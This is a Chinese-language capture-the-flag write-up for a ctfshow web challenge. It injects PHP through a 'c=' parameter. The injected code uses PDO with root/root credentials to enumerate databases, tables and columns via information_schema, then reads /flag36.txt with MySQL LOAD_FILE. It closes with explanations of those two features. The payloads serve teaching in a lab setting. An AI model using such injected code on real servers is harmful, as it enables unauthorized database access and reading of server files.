由于本题过滤了strlen
,没办法使用web72的uaf的方式绕过命令执行的限制
连接数据库查询,通过构造一个可以连接数据库的php脚本,来查询数据库内的数据
try { // 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root) $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root'); // 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容 foreach($dbh->query('select load_file("/flag36.txt")') as $row) { // 输出读取到的内容,并追加一个竖线(|) echo($row[0])."|"; } // 将数据库连接对象设置为null,关闭连接 $dbh = null; } catch (PDOException $e) { // 如果发生PDO异常,输出错误信息 echo $e->getMessage(); // 终止脚本执行 die(); }
这段代码的目的是从 MySQL 数据库所在服务器的文件系统中读取一个名为 /flag36.txt
的文件,并将文件内容输出到网页。
这里我们是直接通过information_schema这个虚拟数据库查询的,通过这个我们可以查询所有的数据库内容,从而得到flag,如果我们知道我们想找的数据所在的数据库名,也可以直接在那个数据库查找,这就需要我们查一下有哪些数据库了
c=$dsn = "mysql:host=localhost;dbname=information_schema"; $db = new PDO($dsn, 'root', 'root'); $rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA"); foreach($rs as $row){ echo($row[0])."|"; }exit();
可以看到我们通过这个方式查询了这个题中的数据管理系统中有哪些数据库名,
// 数据源名称(DSN),指定数据库类型、主机名和数据库名称 $dsn = "mysql:host=localhost;dbname=information_schema"; // 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,使用指定的DSN、用户名(root)和密码(root) $db = new PD O($dsn, 'root', 'root'); // 执行一个SQL查询,从SCHEMATA表中选择并连接所有数据库名称(SCHEMA_NAME),返回一个结果集 $rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA"); // 遍历结果集中的每一行,并输出第一个字段(即连接的数据库名称),然后追加一个竖线(|) foreach($rs as $row){ echo($row[0])."|"; } // 终止脚本执行 exit();
通过这个查询结果我们发现了ctftraining这个数据库,我们知道了数据库名,就可以进一步构造sql语句进一步查询表名
c=$dsn = "mysql:host=localhost;dbname=information_schema"; $db = new PDO($dsn, 'root', 'root'); $rs = $db->query("select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'"); foreach($rs as $row){ echo($row[0])."|"; }exit();
接着通过FLAG_TABLE查询列名
c=$dsn = "mysql:host=localhost;dbname=information_schema"; $db = new PDO($dsn, 'root', 'root'); $rs = $db->query("select group_concat(column_name) from information_schema.columns where table_schema='ctftraining'and table_name='FLAG_TABLE'"); foreach($rs as $row){ echo($row[0])."|"; }exit();
查询具体数据
c=$dsn = "mysql:host=localhost;dbname=information_schema"; $db = new PDO($dsn, 'root', 'root'); $rs = $db->query("select group_concat(FLAG_COLUMN) from FLAG_TABLE"); foreach($rs as $row){ echo($row[0])."|"; }exit();
这里发现查不到,不过也没关系,毕竟我们知道了flag所在的数据库名
load_file
LOAD_FILE()
是 MySQL 中的一个函数,用于读取文件的内容。它可以用于将外部文件的内容加载到 MySQL 中,并返回该文件的内容作为一个字符串。
MySQL是一个管理数据库的系统, 遵循 SQL(结构化查询语言)标准,用于处理数据库中的数据, 通过 MySQL,可以管理多个数据库,每个数据库中可以包含多个表和记录等数据元素。 。
LOAD_FILE()
函数读取指定文件的内容,并将其作为一个字符串返回。通常用于将文件的内容加载到数据库中进行进一步的处理,比如插入到表中或用于文本字段。
读取文本文件: 假设有一个文本文件 /tmp/sample.txt
,内容如下:
Hello, this is a sample text.
你可以使用 LOAD_FILE()
读取文件内容:
SELECT LOAD_FILE('/tmp/sample.txt');
返回结果将是:
'Hello, this is a sample text.'
INFORMATION_SCHEMA
INFORMATION_SCHEMA
是 MySQL 中的一个虚拟数据库 , 它提供了一组只读的系统视图和表格,用于查询数据库系统的元数据 , 提供了访问数据库系统元数据的标准接口。它允许你查询关于数据库、表、列、索引、权限等方面的信息,通常用于数据库管理、维护和调试操作。
INFORMATION_SCHEMA
用于查询数据库的结构和对象的属性,例如:
-
获取数据库和表的列表
-
查询表的列定义和数据类型
-
获取索引的信息
-
查询用户的权限
-
查询表和列的约束信息(如主键、外键)
列出所有数据库:
sql复制代码SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
列出指定数据库中的所有表:
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'your_database_name';
获取指定表的所有列信息:
SELECT COLUMN_NAME, DATA_TYPE, IS_NULLABLE, COLUMN_DEFAULT FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'your_table_name' AND TABLE_SCHEMA = 'your_database_name';
查看表的索引:
SELECT TABLE_NAME, INDEX_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.STATISTICS WHERE TABLE_SCHEMA = 'your_database_name' AND TABLE_NAME = 'your_table_name';
查看用户的权限:
SELECT * FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE GRANTEE LIKE "'your_user'@'%'";标签:web,NAME,数据库,schema,75,ctfshow,row,root,SCHEMA From: https://blog.csdn.net/2401_84499636/article/details/143882512